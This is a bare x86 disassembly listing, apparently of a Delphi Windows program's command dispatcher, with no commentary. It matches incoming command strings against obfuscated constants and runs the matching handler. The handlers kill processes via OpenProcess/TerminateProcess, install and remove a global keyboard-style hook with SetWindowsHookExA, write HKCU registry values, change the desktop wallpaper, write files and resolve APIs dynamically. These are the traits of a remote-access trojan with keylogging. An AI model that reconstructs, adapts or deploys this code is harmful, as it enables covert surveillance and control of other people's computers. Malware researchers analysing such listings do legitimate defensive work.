test ebx, ebx
jl 0x4922b4
inc ebx
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x8498]
mov edx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x8498]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0xc]
dec ebx
jne 0x492290
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x24]
call fcn.00459e68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4922e4
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
lea ecx, [ebp - 0x849c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x849c]
mov edx, 0x496998
call fcn.00404f38
jne 0x49238e
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a0]
mov edx, 0x4969b0
call fcn.00404f38
jne 0x492411
xor eax, eax
push ebp
push 0x4923fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0045bac4
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492404
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a4]
mov edx, 0x496974
call fcn.00404f38
jne 0x492494
xor eax, eax
push ebp
push 0x49247d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0045b828
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492487
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a8]
mov edx, 0x4969bc
call fcn.00404f38
jne 0x492517
xor eax, eax
push ebp
push 0x492500
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0045bac4
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49250a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84ac]
mov edx, 0x4969c8
call fcn.00404f38
jne 0x49259a
xor eax, eax
push ebp
push 0x492583
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0045c06c
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49258d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b0]
mov edx, 0x4969d4
call fcn.00404f38
jne 0x49261d
xor eax, eax
push ebp
push 0x492606
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0045be7c
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 8]
call fcn.0045aeb4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969a4
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492610
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b4]
mov edx, 0x4969e0
call fcn.00404f38
jne 0x4926fb
xor eax, eax
push ebp
push 0x49268d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b8]
call fcn.00409244
call fcn.0045cb40
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492697
cmp dword [ebp - 0x30], 0
jne 0x4926d4
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x15e
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84bc]
mov edx, 0x4969ec
call fcn.00404f38
jne 0x4927d9
xor eax, eax
push ebp
push 0x49276b
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c0]
call fcn.00409244
call fcn.0045cba0
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492775
cmp dword [ebp - 0x30], 0
jne 0x4927b2
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x164
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c4]
mov edx, 0x4969f8
call fcn.00404f38
jne 0x4928de
xor eax, eax
push ebp
push 0x49285e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c8]
call fcn.00409244
push eax
lea ecx, [ebp - 0x84cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84cc]
pop edx
call fcn.00409784
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492868
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x84d4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x84d4]
lea ecx, [ebp - 0x84d0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x84d0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x84d8]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x84d8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84dc]
mov edx, 0x496a04
call fcn.00404f38
jne 0x49294f
lea ecx, [ebp - 0x84e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e0]
lea edx, [ebp - 0x30]
call fcn.0045d620
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496920
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e4]
mov edx, 0x496a10
call fcn.00404f38
jne 0x4929cf
xor eax, eax
push ebp
push 0x492996
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0048f1f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4929a8
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49692c
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e8]
mov edx, 0x496a1c
call fcn.00404f38
jne 0x492a25
lea eax, [ebp - 0x30]
call fcn.0045d318
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496944
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84ec]
mov edx, 0x496a28
call fcn.00404f38
jne 0x492aec
xor eax, eax
push ebp
push 0x492aa9
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84f0]
call fcn.00409244
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x492a9f
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492ab3
push 0x12c
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x30]
call fcn.0045d318
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496944
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x84f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84f4]
mov edx, 0x496a34
call fcn.00404f38
jne 0x492c85
xor eax, eax
push ebp
push 0x492c6e
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x84fc]
mov eax, 6
call fcn.0048e4f0
push dword [ebp - 0x84fc]
lea ecx, [ebp - 0x8504]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8504]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8500]
call fcn.00404d24
push dword [ebp - 0x8500]
lea ecx, [ebp - 0x8508]
mov dx, 4
mov ax, 0x16a
call fcn.0048e358
push dword [ebp - 0x8508]
lea eax, [ebp - 0x84f8]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x84f8]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x850c]
mov dx, 0x12
mov ax, 0x16e
call fcn.0048e358
mov edx, dword [ebp - 0x850c]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x8510]
mov dx, 4
mov ax, 0x180
call fcn.0048e358
lea eax, [ebp - 0x8510]
push eax
lea ecx, [ebp - 0x8518]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8518]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8514]
call fcn.00404d24
mov edx, dword [ebp - 0x8514]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8510]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492c78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x851c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x851c]
mov edx, 0x496a40
call fcn.00404f38
jne 0x492e27
xor eax, eax
push ebp
push 0x492e10
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x459b94]
call fcn.00459df8
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.00459e98
xor eax, eax
push ebp
push 0x492d4f
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8520]
mov dx, 0x3c
mov ax, 0x184
call fcn.0048e358
mov edx, dword [ebp - 0x8520]
mov cl, 1
mov eax, dword [ebp - 0x24]
call fcn.00459fdc
lea ecx, [ebp - 0x8524]
mov dx, 8
mov ax, 0x1c0
call fcn.0048e358
mov edx, dword [ebp - 0x8524]
mov ecx, 1
mov eax, dword [ebp - 0x24]
call fcn.0045a5d8
mov eax, dword [ebp - 0x24]
call fcn.00459e68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492d56
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
lea ecx, [ebp - 0x8534]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8534]
mov edx, 0x496a4c
call fcn.00404f38
jne 0x493080
xor eax, eax
push ebp
push 0x493069
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8538]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8538]
lea edx, [ebp - 0x34]
call fcn.00458e64
lea ecx, [ebp - 0x853c]
mov dx, 0x12
mov ax, 0x205
call fcn.0048e358
mov eax, dword [ebp - 0x853c]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8540]
mov dx, 0xa
mov ax, 0x1fb
call fcn.0048e358
mov eax, dword [ebp - 0x8540]
call fcn.00404fec
push eax
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
push 0
push 0
lea eax, [ebp - 0x8548]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8548]
call fcn.00409244
lea edx, [ebp - 0x8544]
call fcn.00459248
lea eax, [ebp - 0x8544]
mov edx, dword [ebp - 0x34]
call fcn.00404df4
mov eax, dword [ebp - 0x8544]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x854c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x854c]
call fcn.00404fec
push eax
push 0
call ebx
test eax, eax
jne 0x49305f
mov dl, 1
mov eax, dword [0x459b94]
call fcn.00459df8
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.00459e98
xor eax, eax
push ebp
push 0x493058
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8550]
mov dx, 0x15
mov ax, 0x217
call fcn.0048e358
mov edx, dword [ebp - 0x8550]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
call fcn.00459fdc
lea ecx, [ebp - 0x8554]
mov dx, 0xd
mov ax, 0x22c
call fcn.0048e358
mov edx, dword [ebp - 0x8554]
mov ecx, 0x496a58
mov eax, dword [ebp - 0x24]
call fcn.0045a508
lea ecx, [ebp - 0x8558]
mov dx, 9
mov ax, 0x239
call fcn.0048e358
mov eax, dword [ebp - 0x8558]
push eax
lea eax, [ebp - 0x8564]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8564]
call fcn.00409244
lea edx, [ebp - 0x8560]
call fcn.00459248
lea eax, [ebp - 0x8560]
mov edx, dword [ebp - 0x34]
call fcn.00404df4
mov eax, dword [ebp - 0x8560]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x855c]
call fcn.00404d24
mov ecx, dword [ebp - 0x855c]
mov eax, dword [ebp - 0x24]
pop edx
call fcn.0045a508
push 2
push 0
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [ebp - 0x24]
call fcn.00459e68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49305f
mov eax, dword [ebp - 0x24]
call fcn.00403d58
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493073
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8568]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8568]
mov edx, 0x496a64
call fcn.00404f38
jne 0x493219
xor eax, eax
push ebp
push 0x493202
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x8570]
mov eax, 7
call fcn.0048e4f0
push dword [ebp - 0x8570]
lea ecx, [ebp - 0x8578]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8578]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8574]
call fcn.00404d24
push dword [ebp - 0x8574]
lea ecx, [ebp - 0x857c]
mov dx, 4
mov ax, 0x242
call fcn.0048e358
push dword [ebp - 0x857c]
lea eax, [ebp - 0x856c]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x856c]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x8580]
mov dx, 0x12
mov ax, 0x246
call fcn.0048e358
mov edx, dword [ebp - 0x8580]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x8584]
mov dx, 4
mov ax, 0x258
call fcn.0048e358
lea eax, [ebp - 0x8584]
push eax
lea ecx, [ebp - 0x858c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x858c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8588]
call fcn.00404d24
mov edx, dword [ebp - 0x8588]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8584]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49320c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8590]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8590]
mov edx, 0x496a70
call fcn.00404f38
jne 0x49327f
xor eax, eax
push ebp
push 0x493268
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.0042becc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493272
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8594]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8594]
mov edx, 0x496a7c
call fcn.00404f38
jne 0x493349
xor eax, eax
push ebp
push 0x493302
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8598]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8598]
push eax
lea ecx, [ebp - 0x859c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x859c]
lea ecx, [ebp - 0x30]
pop edx
call fcn.00490cb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49330c
cmp dword [ebp - 0x30], 0
jne 0x493322
lea ecx, [ebp - 0x30]
mov dx, 4
mov ax, 0x25c
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496950
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a0]
mov edx, 0x496a88
call fcn.00404f38
jne 0x493413
xor eax, eax
push ebp
push 0x4933cc
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a4]
push eax
lea ecx, [ebp - 0x85a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a8]
lea ecx, [ebp - 0x30]
pop edx
call fcn.00490ea0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4933d6
cmp dword [ebp - 0x30], 0
jne 0x4933ec
lea ecx, [ebp - 0x30]
mov dx, 4
mov ax, 0x260
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496950
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85ac]
mov edx, 0x496a94
call fcn.00404f38
jne 0x4934bf
cmp dword [0x49fccc], 0
jne 0x493472
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x264
call fcn.0048e358
push 0
mov eax, dword [0x4a1664]
push eax
push 0x48ea18
push 0
call sub.user32.dll_SetWindowsHookExA
mov dword [0x49fccc], eax
jmp 0x493482
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x26a
call fcn.0048e358
cmp dword [ebp - 0x30], 0
jne 0x493498
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x270
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49695c
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85b0]
mov edx, 0x496aa0
call fcn.00404f38
jne 0x4935cb
xor eax, eax
push ebp
push 0x49358a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x49fccc], 0
je 0x493580
mov eax, dword [0x49fccc]
push eax
call sub.user32.dll_UnhookWindowsHookEx
xor eax, eax
mov dword [0x49fccc], eax
mov edx, dword [0x4a6a34]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x85b8]
call fcn.00459400
push dword [ebp - 0x85b8]
lea eax, [ebp - 0x85bc]
call fcn.00459400
push dword [ebp - 0x85bc]
lea eax, [ebp - 0x85c0]
call fcn.00459400
push dword [ebp - 0x85c0]
lea eax, [ebp - 0x85b4]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x85b4]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, 0x4a6a34
call fcn.00404b2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493594
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x276
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49695c
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85c4]
mov edx, 0x496aac
call fcn.00404f38
jne 0x49363c
lea edx, [ebp - 0x30]
mov eax, dword [0x4a6a30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x30], 0
jne 0x493615
lea ecx, [ebp - 0x30]
mov dx, 4
mov ax, 0x27c
call fcn.0048e358
mov eax, dword [ebp - 0x30]
